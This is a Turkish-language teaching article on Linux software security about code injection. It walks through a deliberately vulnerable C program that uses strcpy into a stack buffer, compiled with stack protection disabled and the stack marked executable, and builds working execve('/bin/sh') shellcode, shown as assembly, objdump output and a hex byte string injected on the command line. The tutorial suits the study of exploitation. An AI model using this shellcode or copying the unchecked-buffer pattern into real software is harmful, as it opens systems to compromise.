Linux Yazılım Güvenliği

Kod Enjekte Etme (Code Injection)

Bu yöntemdeki amaç, tampon alanına zararlı bir kodu yerleştirmek, ardından enjekte edilen bu kodun çalışmasını sağlamaktır. Bu yöntemdeki temel zorlukları aşağıdaki gibi sıralayabiliriz.

  • tamponun başlangıç adresinin bilinmesi
  • tamponun boyutunun bilinmesi
  • zararlı kodun tampona sığacak boyutta olması
  • yığının çalıştırılabilir (executable stack) olması

İncelememize bir örnek üzerinden başlayalım. Kontrolsüz bir şekilde tampona yazan bir uygulama üzerinden kabuk (/bin/sh) programını çalıştırmaya çalışalım. Örnek kod aşağıdaki gibi olsun.

#include <stdio.h>
#include <string.h>

#define SIZE 32

void foo(char *str) {
    puts(__func__);
    char buf[SIZE];
    strcpy(buf, str);
#if 1
    ((void(*)( ))buf)( );
#endif
}

int main(int argc, char **argv) {
    if (argc < 2) {
        puts("kullanım: ./inj <komut satırı argümanları>");
        return -1;
    }
    foo(argv[1]);
    return 0;
}

Örnek koda inj.c adını vererek aşağıdaki gibi derleyebilirsiniz.

gcc -Wall -oinj inj.c --save-temps -m32 -fno-stack-protector -z execstack

Not: Derleyiciye geçirdiğimiz execstack anahtarı ile yığın alanını çalıştırılabilir olarak (executable stack) işaretliyoruz. Bu konudan daha sonra bahsedeceğiz.

İlk olarak, tampon alanı içine kabuk programını çalıştıracak olan kod yığınını atmalıyız. C dilinde kabuk aşağıdaki gibi bir program ile çalıştırılabilir.

#include <unistd.h>

int main()
{
    char *shell[2];

    shell[0] = "/bin/sh";
    shell[1] = NULL;

    execve(shell[0], shell, NULL);
    return 0;
}

Örnek kodu aşağıdaki gibi derleyerek üretilen sembolik makina kodlarını inceleyelim.

gcc -m32 -oshell shell.c --save-temps
main:
        pushl   %ebp
        movl    %esp, %ebp
        andl    $-16, %esp
        subl    $32, %esp
        movl    $.LC0, 24(%esp)
        movl    $0, 28(%esp)
        movl    24(%esp), %eax
        movl    $0, 8(%esp)
        leal    24(%esp), %edx
        movl    %edx, 4(%esp)
        movl    %eax, (%esp)
        call    execve
        movl    $0, %eax
        leave
        ret

Bu sembolik makina kodlarına karşılık gelen gerçek makina kodlarını başka bir programa enjekte ederek kullanmayı düşünebilirsiniz fakat burada iki adet problemle karşılaşmaktayız.

Birinci problem tampona yazılacak byte topluluğunda değeri 0 olan byte bulunmasıdır. execv fonksiyonuna son argüman olarak geçirdiğimiz NULL adres aşağıdaki gibi bir sembolik makina kodunun üretilmesine sebep olmaktadır.

movl    $0, 8(%esp)

0 değeri aynı zamanda C dilinde bir yazının sonlandırıcı karakteri (terminating character) olarak kullanıldığından strcpy gibi bir fonksiyon bu karakteri gördüğünde tampona yazma işlemini sonlandıracaktır. Bu sebeple zararlı kodun tamamını tampona yazmak mümkün olmayacaktır.

Diğer problem ise execve fonksiyonuna ait gerçek adresin yükleme zamanında belli olmasıdır.

Bu durumda kendimiz sembolik makina kodu kullanarak bir sistem çağrısı ile execve fonksiyonunu çağırabiliriz. Bunun için aşağıdaki gibi bir kod kullanılabilir.

    .text
    .globl    malicious
malicious:
    xorl    %eax, %eax
    pushl   %eax
    pushl   $0x68732f2f
    pushl   $0x6e69622f
    movl    %esp, %ebx
    pushl   %eax
    pushl   %ebx
    movl    %esp, %ecx
    xorl    %edx, %edx
    movb    $0x0b, %al
    int     $0x80

Kodda eax yazmacının kendisiyle xor işlemine tabi tutularak sıfırlandığına dikkat ediniz. movl $0, %eax gibi bir makina kodu yukarıda bahsettiğimiz ilk probleme neden olacaktır.

Kod kabuk programına ilişkin yazıyı(/bin/sh) yığına geçirmekte, yazmaçlara uygun değerleri atamakta ve sonrasında bir sistem çağrısı yaparak execve fonksiyonunu çağırmaktadır. Örnek kodu aşağıdaki gibi derleyerek gerçek makina kodu üretilmesini sağlayabiliriz.

as --32 malicious.s -omalicious.o

Not: Linux altında sistem çağrısı yapmak için 80h kesmesi kullanılabilmektedir. Yukarıdaki örnekte, execve sistem çağrı numarası olan 0x0b değeri eax yazmacına, fonksiyona geçirilecek olan argümanlar ise sırasıyla ebx, ecx ve edx yazmaçlarına yazılmış. Ardından içsel bir kesme oluşturularak kernel alanındaki execve fonksiyonu çağırılmış.

Sonrasında objdump aracı ile gerçek makina kodlarına ulaşabiliriz.

objdump -d malicious.o
Disassembly of section .text:

00000000 <malicious>:
   0:    31 c0                    xor    %eax,%eax
   2:    50                       push   %eax
   3:    68 2f 2f 73 68           push   $0x68732f2f
   8:    68 2f 62 69 6e           push   $0x6e69622f
   d:    89 e3                    mov    %esp,%ebx
   f:    50                       push   %eax
  10:    53                       push   %ebx
  11:    89 e1                    mov    %esp,%ecx
  13:    31 d2                    xor    %edx,%edx
  15:    b0 0b                    mov    $0xb,%al
  17:    cd 80                    int    $0x80

Gerçek makina kodlarını tek bir yazı şekline aşağıdaki gibi gösterebiliriz.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

Kod enjekte edeceğimiz örneğe tekrar dönecek olursak, komut satırından aldığı yazıyı kontrolsüz bir şekilde yığındaki buf isimli tampona yazdığını görmekteyiz.

Tampon alanındaki zararlı kodu, test amaçlı olarak, kendimiz uygulama içinden çağıracağız. Bunun için tampon alan adresinin bir fonksiyon adresine dönüştürülerek çağrı yapıldığına dikkat ediniz.

#if 1
    ((void(*)( ))buf)( );
#endif

Daha önce derleyerek inj adını verdiğimiz uygulamayı aşağıdaki gibi çalıştırarak test edebiliriz.

./inj $(printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")

Bu aşamada kabuk programının çalıştığını görmeliyiz.

Örnek uygulamamız için yığının temsili görüntüsü aşağıdaki gibi olacaktır.

Örneğimizde zararlı kodu açık bir şekilde bizim çağırdığımızı hatırlayınız. Gerçekte ise bu işlem, şekilde gösterildiği gibi, fonksiyonun geri dönüş değeri zararlı kodu gösterecek şekilde değiştirilerek yapılmaktadır. Buradaki temel zorluk tamponun boyutunu ve başlangıç adresini kestirmektir.

Bu bölümde genel olarak fikir vermeyi amaçladığımızdan konunun ayrıntısına girmeyeceğiz.